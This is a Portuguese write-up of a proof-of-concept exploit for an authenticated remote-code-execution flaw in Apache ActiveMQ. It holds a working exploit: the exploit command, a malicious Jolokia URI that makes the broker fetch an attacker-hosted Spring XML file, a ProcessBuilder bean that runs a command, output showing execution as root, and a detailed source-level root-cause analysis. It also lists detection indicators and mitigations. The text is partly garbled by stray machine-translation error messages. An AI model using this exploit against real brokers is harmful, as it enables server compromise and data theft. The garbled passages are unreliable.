
Prova de conceito de exploit para CVE-2026-34197, demonstrando execução remota de código autenticada no Apache ActiveMQ por meio da ponte Jolokia JMX-HTTP e injeção de bean XML do Spring.
Description
Vulnerabilidade de Validação de Entrada Incorreta e Controle Incorreto de Geração de Código (‘Injeção de Código’) no Apache ActiveMQ Broker e Apache ActiveMQ. O Apache ActiveMQ Classic expõe a ponte JMX-HTTP do Jolokia em /api/jolokia/ no console web. A política padrão de acesso do Jolokia permite operações exec em todos os MBeans do ActiveMQ (org.apache.activemq:*), incluindo BrokerService.addNetworkConnector(String) e BrokerService.addConnector(String). Um atacante autenticado pode invocar essas operações com uma URI de descoberta manipulada que aciona o parâmetro brokerConfig do transporte VM para carregar um contexto de aplicação Spring XML remoto usando ResourceXmlApplicationContext. Como o ResourceXmlApplicationContext do Spring instancia todos os beans singleton antes que o BrokerService valide a configuração, ocorre execução arbitrária de código na JVM do broker por meio de métodos de fábrica de beans, como Runtime.exec(). Este problema afeta o Apache ActiveMQ Broker: antes de 5.19.4, de 6.0.0 antes de 6.2.3; Apache ActiveMQ All: antes de 5.19.4, de 6.0.0 antes de 6.2.3; Apache ActiveMQ: antes de 5.19.4, de 6.0.0 antes de 6.2.3. Recomenda-se que os usuários atualizem para a versão 5.19.4 ou 6.2.3, que corrige o problema
Mais informações em: link
Github: link```bash ❯ docker compose up -d
The input chunk is empty — no content was provided to translate.```bash
❯ python3 exploit_poc.py auto \
--target http://localhost:8161 \
--lhost 192.168.1.32 --lport 9999 \
--cmd "touch /tmp/blahblah.txt"
======================================================================
CVE-2026-34197 — ActiveMQ RCE via Jolokia + VM Transport
For authorized security testing and research only.
======================================================================
[*] Target: http://localhost:8161
[*] Command: touch /tmp/blahblah.txt
[*] Serving malicious Spring XML on http://0.0.0.0:9999/evil.xml
[+] Jolokia accessible — agent version: unknown
[*] Could not discover broker name, using default 'localhost'
[*] Sending exploit payload to http://localhost:8161/api/jolokia/
[*] Malicious URI: static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Jolokia returned 200 — exploit payload delivered
[+] Response: {
"request": {
"mbean": "org.apache.activemq:brokerName=localhost,type=Broker",
"arguments": [
"static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)"
],
"type": "exec",
"operation": "addNetworkConnector(java.lang.String)"
},
"value": "NC",
"timestamp": 1775616523,
"status": 200
}
[*] Waiting 5s for target to fetch payload...
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Done. Verify command execution on target.
Com LHOST sendo o IP privado do computador. Você pode usar ipconfig no Windows ou ifconfig no Linux
Verificando o RCE```bash
❯ docker exec -it activemq-vuln ls -lah /tmp
total 16K
drwxrwxrwt 1 root root 4.0K May 18 04:01 .
drwxr-xr-x 1 root root 4.0K May 18 03:40 ..
-rw-r--r-- 1 root root 0 May 18 04:01 blahblah.txt
drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root
=> RCE bem-sucedido, o arquivo `blahblah.txt` foi criado no sistema alvo.
# Fase de Análise
## Análise Dinâmica```bash
❯ docker exec activemq-vuln java -version
openjdk version "11.0.24" 2024-07-16
OpenJDK Runtime Environment Temurin-11.0.24+8 (build 11.0.24+8)
OpenJDK 64-Bit Server VM Temurin-11.0.24+8 (build 11.0.24+8, mixed mode, sharing)
❯ docker exec activemq-vuln sh -c 'ls /opt/apache-activemq/lib | grep activemq'
activemq-broker-5.18.6.jar
activemq-client-5.18.6.jar
activemq-console-5.18.6.jar
activemq-jaas-5.18.6.jar
activemq-kahadb-store-5.18.6.jar
activemq-openwire-legacy-5.18.6.jar
activemq-protobuf-1.1.jar
activemq-rar.txt
activemq-spring-5.18.6.jar
activemq-web-5.18.6.jar
Os logs de runtime também confirmaram que o Jolokia estava habilitado e exposto por meio do console web do ActiveMQ:```bash INFO | ActiveMQ WebConsole available at http://0.0.0.0:8161/ INFO | ActiveMQ Jolokia REST API available at http://0.0.0.0:8161/api/jolokia/
Verifique a conexão```bash
❯ curl -i -u admin:admin \
-H 'Origin: http://localhost:8161' \
http://localhost:8161/api/jolokia/
HTTP/1.1 200 OK
Date: Mon, 18 May 2026 04:37:28 GMT
X-FRAME-OPTIONS: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Cache-Control: no-cache
Access-Control-Allow-Origin: http://localhost:8161
Access-Control-Allow-Credentials: true
Content-Type: text/plain;charset=utf-8
Pragma: no-cache
Expires: Mon, 18 May 2026 03:37:28 GMT
Transfer-Encoding: chunked
{"request":{"type":"version"},"value":{"agent":"1.7.1","protocol":"7.2","config":{"listenForHttpService":"true","authIgnoreCerts":"false","agentId":"172.21.0.2-42-aa61e4e-servlet","debug":"false","agentType":"servlet","policyLocation":"${prop:jolokia.conf}","agentContext":"\/jolokia","serializeException":"false","mimeType":"text\/plain","dispatcherClasses":"org.jolokia.http.Jsr160ProxyNotEnabledByDefaultAnymoreDispatcher","multicastGroup":"239.192.48.84","authMode":"basic","authMatch":"any","streaming":"true","canonicalNaming":"true","historyMaxEntries":"10","allowErrorDetails":"false","allowDnsReverseLookup":"true","realm":"jolokia","includeStackTrace":"true","multicastPort":"24884","useRestrictorService":"false","debugMaxEntries":"100"},"info":{"product":"activemq","vendor":"Apache","version":"5.18.6"}},"timestamp":1779079048,"status":200}
Isso significa:
Para ler os logs```bash docker logs activemq-vuln > activemq-rce.log
Em seguida, faça grep na cadeia limpa```bash
❯ grep -E \
'addNetworkConnector|doCompositeConnect|createBroker|ResourceXmlApplicationContext|loadBeanDefinitions|ProcessBuilder|xbean|brokerConfig' \
activemq-rce.log
Loading message broker from: xbean:activemq.xml
INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml
at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:342) ~[spring-beans-5.3.39.jar:5.3.39]
at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:310) ~[spring-beans-5.3.39.jar:5.3.39]
at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:116) ~[xbean-spring-4.25.jar:4.25]
at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:104) ~[xbean-spring-4.25.jar:4.25]
at org.apache.xbean.spring.context.ResourceXmlApplicationContext.<init>(ResourceXmlApplicationContext.java:64) ~[xbean-spring-4.25.jar:4.25]
at org.apache.xbean.spring.context.ResourceXmlApplicationContext.<init>(ResourceXmlApplicationContext.java:52) ~[xbean-spring-4.25.jar:4.25]
at org.apache.activemq.xbean.XBeanBrokerFactory$1.<init>(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6]
at org.apache.activemq.xbean.XBeanBrokerFactory.createApplicationContext(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6]
at org.apache.activemq.xbean.XBeanBrokerFactory.createBroker(XBeanBrokerFactory.java:67) ~[activemq-spring-5.18.6.jar:5.18.6]
at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:71) ~[activemq-broker-5.18.6.jar:5.18.6]
at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:54) ~[activemq-broker-5.18.6.jar:5.18.6]
at org.apache.activemq.transport.vm.VMTransportFactory.doCompositeConnect(VMTransportFactory.java:125) ~[activemq-broker-5.18.6.jar:5.18.6]
at org.apache.activemq.broker.jmx.BrokerView.addNetworkConnector(BrokerView.java:388) ~[activemq-broker-5.18.6.jar:5.18.6]
at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:333) ~[spring-beans-5.3.39.jar:5.3.39]
WARN | Could not connect to remote URI: vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml: IOException parsing XML document from URL [http://192.168.1.17:9999/evil.xml]; nested exception is java.net.ConnectException: Connection refused (Connection refused)
Após enviar o payload```bash INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml
Esta linha é crítica porque confirma que a URI controlada pelo atacante fornecida através de:```java
BrokerView.addNetworkConnector(String)
alcançou a camada de transporte da VM sem sanitização.
O URI malicioso usado durante a exploração foi:```text static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)
Este URI contém duas partes importantes:
| Componente | Finalidade |
| --------------- | ------------------------------------------------- |
| `static:(...)` | Wrapper usado pelos conectores de descoberta do ActiveMQ |
| `vm://evil?...` | URI de transporte VM processada internamente pelo ActiveMQ |
O wrapper `static:(...)` em si não é o componente vulnerável. Sua finalidade é passar o URI de transporte incluído para o subsistema de conectores de rede do ActiveMQ.
Durante a execução em tempo de execução, o ActiveMQ extraiu e processou o URI de transporte VM interno:```text
vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml
Esse comportamento foi confirmado nos logs de runtime:```text INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml
O parâmetro `brokerConfig=` é a parte crítica do payload. Ele instruiu a camada de transporte da VM a criar dinamicamente uma instância do broker usando uma configuração externa Spring xbean carregada de:```text
http://192.168.1.32:9999/evil.xml
O prefixo xbean: fazia com que o ActiveMQ delegasse o processamento ao carregador de contexto de aplicação XML do Spring:```text
org.apache.xbean.spring.context.ResourceXmlApplicationContext
Como resultado, o documento XML remoto foi analisado e instanciado como um contexto de aplicação Spring dentro da JVM do broker.
O XML malicioso continha o seguinte bean Spring:```xml
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
Esta definição de bean instruiu o Spring a instanciar um objeto ProcessBuilder e invocar imediatamente seu método start() durante a inicialização do contexto da aplicação.
O exploit usou o seguinte comando:```bash touch /tmp/blahblah.txt
Como o Spring instancia beans singleton de forma antecipada durante a inicialização do contexto, o método `ProcessBuilder.start()` foi executado antes que o ActiveMQ validasse se a própria configuração do broker era segura ou válida.
Isso resultou na execução arbitrária de comandos no contêiner alvo.
O exploit foi verificado ao checar o diretório `/tmp` dentro do contêiner do ActiveMQ:```bash
❯ docker exec -it activemq-vuln ls -lah /tmp
total 16K
drwxrwxrwt 1 root root 4.0K May 18 04:01 .
drwxr-xr-x 1 root root 4.0K May 18 03:40 ..
-rw-r--r-- 1 root root 0 May 18 04:01 blahblah.txt
drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root
Os metadados do arquivo confirmaram ainda a execução bem-sucedida do comando:```bash ❯ docker exec activemq-vuln stat /tmp/blahblah.txt
File: /tmp/blahblah.txt Size: 0 Uid: (0/root) Gid: (0/root) Birth: 2026-05-18 04:01:35
Isto prova que comandos arbitrários do sistema operativo foram executados com sucesso no contexto do contentor ActiveMQ.
O stack trace em tempo de execução também revelou o caminho completo de execução vulnerável:```text
BrokerView.addNetworkConnector()
->
VMTransportFactory.doCompositeConnect()
->
BrokerFactory.createBroker()
->
XBeanBrokerFactory.createApplicationContext()
->
ResourceXmlApplicationContext
->
XmlBeanDefinitionReader.loadBeanDefinitions()
->
Spring bean instantiation
->
ProcessBuilder.start()
->
OS command execution
As seguintes entradas de stack trace foram observadas durante a análise em tempo de execução:```text at org.apache.activemq.broker.jmx.BrokerView.addNetworkConnector(BrokerView.java:388)
at org.apache.activemq.transport.vm.VMTransportFactory.doCompositeConnect(VMTransportFactory.java:125)
at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:71)
at org.apache.activemq.xbean.XBeanBrokerFactory.createBroker(XBeanBrokerFactory.java:67)
at org.apache.activemq.xbean.XBeanBrokerFactory.createApplicationContext(XBeanBrokerFactory.java:104)
at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:116)
at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:342)
Uma das observações mais importantes durante a análise dinâmica foi a ordem em que Spring e ActiveMQ processaram a configuração maliciosa.
Após o payload ser executado com sucesso, o ActiveMQ posteriormente gerou o seguinte aviso:```text
WARN | Could not connect to remote URI:
The configuration has no BrokerService instance for resource:
xbean:http://192.168.1.32:9999/evil.xml
Este comportamento demonstra que:```text Spring bean instantiation occurred before ActiveMQ validated the broker configuration.
Mesmo que a configuração do broker em si tenha sido, em última análise, rejeitada, o bean Spring malicioso já havia sido instanciado e executado.
Esse problema de ordenação é a falha lógica central por trás do CVE-2026-34197.
A análise dinâmica identificou os seguintes componentes envolvidos na cadeia de exploração:
| Componente | Função |
| ----------------------------- | ---------------------------------- |
| Jolokia | Ponte HTTP-JMX |
| BrokerView | MBean de gerenciamento exposto |
| VMTransportFactory | Analisa a URI de transporte `vm://` |
| BrokerFactory | Cria instância do broker |
| XBeanBrokerFactory | Carrega a configuração Spring xbean|
| ResourceXmlApplicationContext | Carrega XML remoto |
| XmlBeanDefinitionReader | Analisa definições de beans Spring |
| Spring BeanFactory | Instancia beans singleton |
| ProcessBuilder | Executa comandos do sistema operacional |
A análise dinâmica confirma que o CVE-2026-34197 é causado pela interação entre:
* Operações de gerenciamento Jolokia excessivamente permissivas
* URIs de transporte controladas pelo atacante
* Criação automática de broker de transporte VM
* Carregamento remoto de configuração Spring xbean
* Instanciação antecipada de beans singleton antes da validação
Como resultado, um atacante autenticado pode obter execução arbitrária de código na JVM do ActiveMQ ao fornecer uma URI maliciosa `brokerConfig=xbean:http://...` por meio da operação `addNetworkConnector()` exposta pelo Jolokia.
### Visão Geral da Arquitetura
O Apache ActiveMQ Classic expõe uma interface de gerenciamento por meio da ponte JMX-HTTP do Jolokia, disponível em:```text id="n0vmrq"
/api/jolokia/
Jolokia atua como uma ponte HTTP-to-JMX, permitindo que usuários autenticados invoquem operações do Java Management Extensions (JMX) remotamente via HTTP.
O caminho da arquitetura vulnerável identificado durante a análise é mostrado abaixo:```text id="yavj0f" HTTP Request -> Jolokia Servlet -> JMX MBean Invocation -> BrokerView.addNetworkConnector() -> VMTransportFactory -> BrokerFactory -> XBeanBrokerFactory -> Spring ResourceXmlApplicationContext -> Spring Bean Instantiation -> OS Command Execution
| Componente | Função |
| --------------------- | ------------------------------------------------ |
| Jolokia | Expõe operações JMX via HTTP |
| BrokerView | Interface MBean de gerenciamento |
| VMTransportFactory | Processa URIs de transporte `vm://` |
| BrokerFactory | Cria brokers dinamicamente |
| XBeanBrokerFactory | Carrega configurações xbean do Spring |
| Spring Context Loader | Analisa e instancia definições de beans XML |
| ProcessBuilder | Executa comandos do sistema operacional |
A arquitetura torna-se vulnerável porque o ActiveMQ permite que usuários autenticados invoquem métodos perigosos de gerenciamento do broker com URIs de transporte controladas pelo atacante.
---
### Análise da Superfície de Ataque
A principal superfície de ataque é o endpoint HTTP Jolokia exposto por meio do console web do ActiveMQ:```text id="xq7vba"
http://<target>:8161/api/jolokia/
A análise em tempo de execução confirmou que a interface Jolokia estava habilitada por padrão:```text id="y7qz5e" INFO | ActiveMQ Jolokia REST API available at http://0.0.0.0:8161/api/jolokia/
O endpoint Jolokia aceitava solicitações autenticadas usando Autenticação Básica HTTP:```json id="13tzmx"
"authMode":"basic"
A seguinte operação de gestão perigosa foi exposta:```java id="pxqv10" BrokerView.addNetworkConnector(String)
Este método aceita um URI de transporte controlado pelo usuário sem restringir suficientemente esquemas de URI perigosos ou parâmetros de configuração.
O atacante forneceu o seguinte payload:```text id="v3u3f2"
static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)
Este payload abusava de vários recursos simultaneamente:
| Recurso | Abuso |
|---|---|
addNetworkConnector() | Aceitar URI controlada pelo atacante |
transporte vm:// | Acionar criação dinâmica de broker |
brokerConfig= | Carregar configuração arbitrária de broker |
xbean: | Invocar o carregador Spring XML |
| URL HTTP remota | Buscar XML controlado pelo atacante |
A superfície de ataque, portanto, inclui:
A vulnerabilidade é causada pela interação entre múltiplos subsistemas confiáveis dentro do ActiveMQ.
A questão central é que usuários autenticados do Jolokia podem invocar operações perigosas de gerenciamento do broker com URIs de transporte controladas pelo atacante.
O fluxo de execução vulnerável identificado durante a análise em tempo de execução é:```text id="m57h1r" Jolokia -> BrokerView.addNetworkConnector() -> VMTransportFactory.doCompositeConnect() -> BrokerFactory.createBroker() -> XBeanBrokerFactory.createApplicationContext() -> ResourceXmlApplicationContext -> Spring bean instantiation
O parâmetro crítico é:```text id="s59jsn"
brokerConfig=xbean:http://attacker/evil.xml
Este parâmetro instrui a camada de transporte VM a criar dinamicamente um broker usando uma configuração externa Spring xbean.
A seguinte evidência de tempo de execução confirmou esse comportamento:```text id="74y0rw" INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml
Spring então carregou o XML remoto através de:```text id="i54jqs"
org.apache.xbean.spring.context.ResourceXmlApplicationContext
O XML malicioso continha:```xml id="y6jphd"
Durante a inicialização do contexto da aplicação Spring, os beans singleton são instanciados antecipadamente. Como resultado, o método `ProcessBuilder.start()` foi executado imediatamente.
A principal falha lógica é que a instanciação do bean Spring ocorreu antes de o ActiveMQ validar se a configuração do broker era segura ou válida.
Esse comportamento foi comprovado dinamicamente porque:
1. O payload malicioso criou com sucesso `/tmp/blahblah.txt`
2. O ActiveMQ posteriormente rejeitou a configuração do broker com:```text id="6k1dwn"
The configuration has no BrokerService instance
Isto demonstra que a execução de código ocorreu antes da conclusão da validação do broker.
Possíveis indicadores de comprometimento incluem solicitações Jolokia suspeitas direcionadas às operações de gerenciamento do ActiveMQ.
Procure por solicitações que invoquem:```text id="c56p2k" addNetworkConnector addConnector
através:```text id="pt2n3d"
/api/jolokia/
Os seguintes fragmentos de URI são fortes indicadores de tentativas de exploração:```text id="n9jlwm" vm:// brokerConfig= xbean: static:(
Exemplo de payload malicioso:```text id="wjsowq"
static:(vm://evil?brokerConfig=xbean:http://attacker/evil.xml)
O broker pode iniciar requisições de saída para infraestrutura controlada pelo atacante:```text id="f5g9kx" http://attacker/evil.xml
Tráfego HTTP de saída inesperado da JVM do broker deve ser investigado.
#### Logs de Runtime Suspeitos
As seguintes mensagens de runtime são suspeitas:```text id="1zj8yf"
Establishing network connection from vm://localhost to vm://evil
I don't see any content to translate — the input section is empty. Please provide the actual Markdown content for chunk 86 of 216, and I'll translate it into Portuguese.```text id="3q2vls" ResourceXmlApplicationContext
The input chunk is empty — no source text was provided to translate. Please supply the Markdown content for chunk 88.```text id="jzsk0g"
XmlBeanDefinitionReader.loadBeanDefinitions
Arquivos inesperados em:```text id="6x7qcm" /tmp/
ou a execução suspeita de processos filhos a partir da JVM do ActiveMQ pode indicar exploração.
---
### Análise de Impacto
A exploração bem-sucedida permite execução remota de código autenticada no contexto da JVM do ActiveMQ.
No ambiente analisado, comandos arbitrários do sistema operacional foram executados com sucesso dentro do contêiner:```bash id="2hyz0w"
touch /tmp/blahblah.txt
Resultado:```text id="rm2qfd" /tmp/blahblah.txt
O arquivo foi criado como:```text id="9phgkz"
Uid: (0/root)
Isso indica que a execução de comandos ocorreu com privilégios de root dentro do contêiner.
O impacto potencial inclui:
| Impacto | Descrição |
|---|---|
| Execução Remota de Código | Execução arbitrária de comandos |
| Comprometimento do Contêiner | Comprometimento total do contêiner ActiveMQ |
| Roubo de Credenciais | Acesso a credenciais e segredos do broker |
| Movimentação Lateral | Pivoteamento para sistemas adjacentes |
| Persistência | Criação de conectores de rede maliciosos |
| Exposição de Dados | Acesso a mensagens e filas do broker |
A gravidade aumenta significativamente se:
Atualize o ActiveMQ Classic para:```text id="8w0j6k" 5.19.4 or later 6.2.3 or later
#### Restringir o Acesso ao Jolokia
Desative o Jolokia se não for necessário.
Se o Jolokia precisar permanecer habilitado:
* Restrinja o acesso a redes administrativas confiáveis
* Aplique autenticação forte
* Desative operações exec perigosas
* Aplique políticas de acesso estritas ao Jolokia
#### Remover Credenciais Padrão
Não use:```text id="9mw1xv"
admin:admin
Impedir que o broker inicie conexões HTTP de saída arbitrárias.
Isso mitiga tentativas de recuperação remota de XML.
Restringir ou desativar:
vm://xbean:Monitore:
/api/jolokia/addNetworkConnectorbrokerConfig=xbean:O caminho vulnerável atravessa a camada de gerenciamento web/JMX do ActiveMQ, a camada de rede do broker, o transporte VM, o subsistema de fábrica de brokers e o carregamento de configuração Spring XBean.
Jolokia está habilitado no aplicativo da API web do ActiveMQ:```xml
// activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerMBeanSupport.java
public static ObjectName createBrokerObjectName(String jmxDomainName, String brokerName)
throws MalformedObjectNameException {
String objectNameStr = jmxDomainName + ":type=Broker,brokerName=";
objectNameStr += JMXSupport.encodeObjectNamePart(brokerName);
return new ObjectName(objectNameStr);
}
```
Na distribuição padrão, isso expõe o broker MBean como um alvo Jolokia invocável por HTTP, como:```text
org.apache.activemq:type=Broker,brokerName=localhost
```
The relevant component responsibilities are:
- `BrokerView`: fachada de gerenciamento de broker voltada a JMX. Ela expõe `addNetworkConnector(String)` e `addConnector(String)`.
- `BrokerService`: objeto de runtime do broker. Ele converte um endereço de conector de rede em string em um `URI` e cria um `DiscoveryNetworkConnector`.
- `DiscoveryNetworkConnector`: usa um agente de descoberta para obter URIs de serviço de brokers remotos e, em seguida, conecta-se a cada URI descoberto.
- `TransportFactory`: resolve um esquema de URI para uma fábrica de transporte usando `META-INF/services/org/apache/activemq/transport/<scheme>`.
- `VMTransportFactory`: lida com transportes `vm://` e pode criar automaticamente um broker embutido quando o broker VM solicitado não existe.
- `BrokerFactory`: resolve um esquema de URI de configuração de broker usando `META-INF/services/org/apache/activemq/broker/<scheme>`.
- `XBeanBrokerFactory`: lida com URIs de configuração de broker `xbean:` e cria um contexto de aplicação Spring/XBean.
- `ResourceXmlApplicationContext`: carrega o recurso XML e executa a atualização (refresh) da fábrica de beans do Spring, incluindo criação antecipada (eager) de singletons.
A vulnerabilidade existe porque o método de gerenciamento aceita uma linguagem de URI do ActiveMQ que não é dados passivos. Quando a URI é avaliada, ela pode criar brokers e carregar configuração XML do Spring.
---
### Ponto de Entrada Vulnerável
O ponto de entrada vulnerável é:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerView.java
public String addNetworkConnector(String discoveryAddress) throws Exception {
NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);
if (connector == null) {
throw new NoSuchElementException("Not connector matched the given name: " + discoveryAddress);
}
brokerService.registerNetworkConnectorMBean(connector);
connector.start();
return connector.getName();
}
```
A interface MBean expõe a operação como:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerViewMBean.java
@MBeanInfo("Adds a Network Connector to the broker.")
String addNetworkConnector(@MBeanInfo("discoveryAddress") String discoveryAddress) throws Exception;
```
A entrada controlada pelo atacante é o argumento `exec` do Jolokia passado para `discoveryAddress`. Na versão vulnerável, `BrokerView.addNetworkConnector()` não realiza validação de esquema, nenhuma validação de URI aninhada e nenhuma filtragem de parâmetros específicos do transporte antes de passar a string para `BrokerService`.
`BrokerService` converte a string diretamente em uma `URI`:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java
public NetworkConnector addNetworkConnector(String discoveryAddress) throws Exception {
return addNetworkConnector(new URI(discoveryAddress));
}
public NetworkConnector addNetworkConnector(URI discoveryAddress) throws Exception {
NetworkConnector connector = new DiscoveryNetworkConnector(discoveryAddress);
return addNetworkConnector(connector);
}
```
O objeto conector é então configurado com o URI do broker local e adicionado ao broker:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java
public NetworkConnector addNetworkConnector(NetworkConnector connector) throws Exception {
connector.setBrokerService(this);
connector.setLocalUri(getVmConnectorURI());
...
networkConnectors.add(connector);
return connector;
}
```
O controle chega ao subsistema de transporte quando `BrokerView` inicia o conector:```java
connector.start();
```
Para o URI do exploit:```text
static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)
```
`static:(...)` cria um conector de descoberta estática, e a URI interna `vm://...` torna-se o serviço remoto descoberto.
---
### Análise do Transporte VM
O transporte VM é resolvido por meio de:```properties
# activemq-broker/src/main/resources/META-INF/services/org/apache/activemq/transport/vm
class=org.apache.activemq.transport.vm.VMTransportFactory
```
O método vulnerável é:```java
// activemq-broker/src/main/java/org/apache/activemq/transport/vm/VMTransportFactory.java
public Transport doCompositeConnect(URI location) throws Exception
```
O método analisa o URI `vm://`, extrai os parâmetros de consulta e trata `brokerConfig` como um URI de criação de broker:```java
host = extractHost(location);
options = URISupport.parseParameters(location);
String config = options.remove("brokerConfig");
if (config != null) {
brokerURI = new URI(config);
} else {
Map<String, Object> brokerOptions = IntrospectionSupport.extractProperties(options, "broker.");
brokerURI = new URI("broker://()/" + host + "?"
+ URISupport.createQueryString(brokerOptions));
}
```
A opção `create` tem como padrão `true`:```java
boolean create = true;
...
if ("false".equals(options.remove("create"))) {
create = false;
}
```
Se não existir um broker para o host de VM solicitado, `VMTransportFactory` cria um:```java
broker = lookupBroker(BrokerRegistry.getInstance(), host, waitForStart);
if (broker == null) {
if (!create) {
throw new IOException("Broker named '" + host + "' does not exist.");
}
try {
if (brokerFactoryHandler != null) {
broker = brokerFactoryHandler.createBroker(brokerURI);
} else {
broker = BrokerFactory.createBroker(brokerURI);
}
broker.start();
MDC.put("activemq.broker", broker.getBrokerName());
} catch (URISyntaxException e) {
throw IOExceptionSupport.create(e);
}
BROKERS.put(host, broker);
BrokerRegistry.getInstance().getRegistryMutext().notifyAll();
}
```
Esta é a falha de limite de privilégio no nível de transporte. Um URI fornecido pelo plano de gerenciamento é avaliado pelo transporte da VM como uma instrução para criar um broker a partir de um URI de configuração arbitrário.
A validação restante dos parâmetros ocorre após a criação do broker:```java
if (!options.isEmpty()) {
throw new IllegalArgumentException("Invalid connect parameters: " + options);
}
return transport;
```
Essa validação não pode impedir a execução de código por meio de `brokerConfig`, porque `brokerConfig` já foi removido de `options` e consumido antes que essa verificação seja executada.
O caminho de descoberta upstream é:```java
// activemq-broker/src/main/java/org/apache/activemq/network/DiscoveryNetworkConnector.java
remoteTransport = TransportFactory.connect(connectUri);
```
Para `static:(...)`, `SimpleDiscoveryAgent.start()` emite imediatamente cada serviço configurado:```java
// activemq-client/src/main/java/org/apache/activemq/transport/discovery/simple/SimpleDiscoveryAgent.java
public void start() throws Exception {
taskRunner = new TaskRunnerFactory();
taskRunner.init();
running.set(true);
for (int i = 0; i < services.length; i++) {
listener.onServiceAdd(new SimpleDiscoveryEvent(services[i]));
}
}
```
`DiscoveryNetworkConnector.onServiceAdd()` então conecta-se ao URI interno controlado pelo atacante.
---
### Fluxo de Criação do Broker
A criação do broker é tratada por:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/BrokerFactory.java
public static BrokerService createBroker(URI brokerURI) throws Exception {
return createBroker(brokerURI, false);
}
public static BrokerService createBroker(URI brokerURI, boolean startBroker) throws Exception {
if (brokerURI.getScheme() == null) {
throw new IllegalArgumentException("Invalid broker URI, no scheme specified: " + brokerURI);
}
BrokerFactoryHandler handler = createBrokerFactoryHandler(brokerURI.getScheme());
BrokerService broker = handler.createBroker(brokerURI);
if (startBroker) {
broker.start();
}
return broker;
}
```
A consulta do manipulador é baseada em esquema:```java
private static final FactoryFinder BROKER_FACTORY_HANDLER_FINDER =
new FactoryFinder("META-INF/services/org/apache/activemq/broker/");
public static BrokerFactoryHandler createBrokerFactoryHandler(String type) throws IOException {
try {
return (BrokerFactoryHandler)BROKER_FACTORY_HANDLER_FINDER.newInstance(type);
} catch (Throwable e) {
throw IOExceptionSupport.create("Could not load " + type + " factory:" + e, e);
}
}
```
Para URIs `xbean:`, o descritor de serviço mapeia para `XBeanBrokerFactory`:```properties
# activemq-broker/src/main/resources/META-INF/services/org/apache/activemq/broker/xbean
class=org.apache.activemq.xbean.XBeanBrokerFactory
```
Fluxo exato de chamada estática:```text
BrokerView.addNetworkConnector(String)
-> BrokerService.addNetworkConnector(String)
-> BrokerService.addNetworkConnector(URI)
-> DiscoveryNetworkConnector.<init>(URI)
-> DiscoveryNetworkConnector.handleStart()
-> SimpleDiscoveryAgent.start()
-> DiscoveryNetworkConnector.onServiceAdd(DiscoveryEvent)
-> TransportFactory.connect(URI)
-> VMTransportFactory.doConnect(URI)
-> VMTransportFactory.doCompositeConnect(URI)
-> BrokerFactory.createBroker(URI)
-> BrokerFactory.createBroker(URI, boolean)
-> XBeanBrokerFactory.createBroker(URI)
```
A transição-chave é:```text
vm://evil?brokerConfig=xbean:http://attacker/evil.xml
```
para:```text
BrokerFactory.createBroker(new URI("xbean:http://attacker/evil.xml"))
```
---
### Análise do Spring XBean
A fábrica XBean relevante é:```java
// activemq-spring/src/main/java/org/apache/activemq/xbean/XBeanBrokerFactory.java
public class XBeanBrokerFactory implements BrokerFactoryHandler
```
`createBroker()` extrai a parte específica do esquema do URI `xbean:` e cria um contexto de aplicação Spring antes de verificar se ele contém um broker:```java
public BrokerService createBroker(URI config) throws Exception {
String uri = config.getSchemeSpecificPart();
if (uri.lastIndexOf('?') != -1) {
IntrospectionSupport.setProperties(this, URISupport.parseQuery(uri));
uri = uri.substring(0, uri.lastIndexOf('?'));
}
ApplicationContext context = createApplicationContext(uri);
BrokerService broker = null;
try {
broker = (BrokerService)context.getBean("broker");
} catch (BeansException e) {
}
...
}
```
O sink perigoso é `createApplicationContext()`:```java
protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException {
Resource resource = Utils.resourceFromString(uri);
LOG.debug("Using " + resource + " from " + uri);
try {
